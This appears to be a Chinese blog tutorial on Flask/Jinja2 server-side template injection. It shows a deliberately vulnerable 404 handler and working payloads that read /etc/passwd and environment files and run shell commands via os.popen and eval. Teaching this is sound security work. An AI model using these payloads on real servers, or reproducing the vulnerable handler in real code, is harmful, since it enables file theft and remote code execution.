flask/jinja2 SSTI入门

@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

jinja2模板使用 template_string渲染时会出现ssti漏洞

Flask Template globals 中有一个request对象,它表示当前请求对象(flask.request),它和你在视图代码中用到的request对象(就是flask.request)一样,包含了所有的请求上下文信息,request 对象中包含一个environ对象,environ是一个字典,包含了所有的服务端环境变量信息

config对象也是一个Flask template global,它代表中当前配置文件对象

可以直接查看{{config}}或者{{config.items()}}

{{”.class.bases[0].bases[0].subclasses()}} 其中” 为字符串类型,也可以换成(){}[] (set dict list类型

也可以是这样

{{session[‘__cla’+’ss__’] }}


拿到了object类以后如何利用的思路

有一些有用的类

1、FILE (40)

%7B%7Bsession['__cla'+'ss__'].__mro__[-1].__subclasses__()[40]('/etc/passwd').read()%7D%7D  //读取/etc/passwd

相似的,这里还可以读取 /proc/self/environ 能看到一些环境变量

还有 /proc/self/maps(貌似跟栈溢出关系更大一点)等

具体可以参考 http://tacxingxing.com/2018/01/19/procfs/


2、warnings.catch_warnings (59)

使用__init__初始化获取全局变量,接着获取linecache模块,再获取里面的os模块/

%7B%7Bsession['__cla'+'ss__'].__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('ls').read()%7D%7D

也可以在globals里面找builtins

%7B%7Bsession['__cla'+'ss__'].__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')%7D%7D

参考资料:

https://docs.python.org/3/library/stdtypes.html?highlight=subclasses#class.mro

https://www.kingkk.com/2018/06/Flask-Jinja2-SSTI-python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注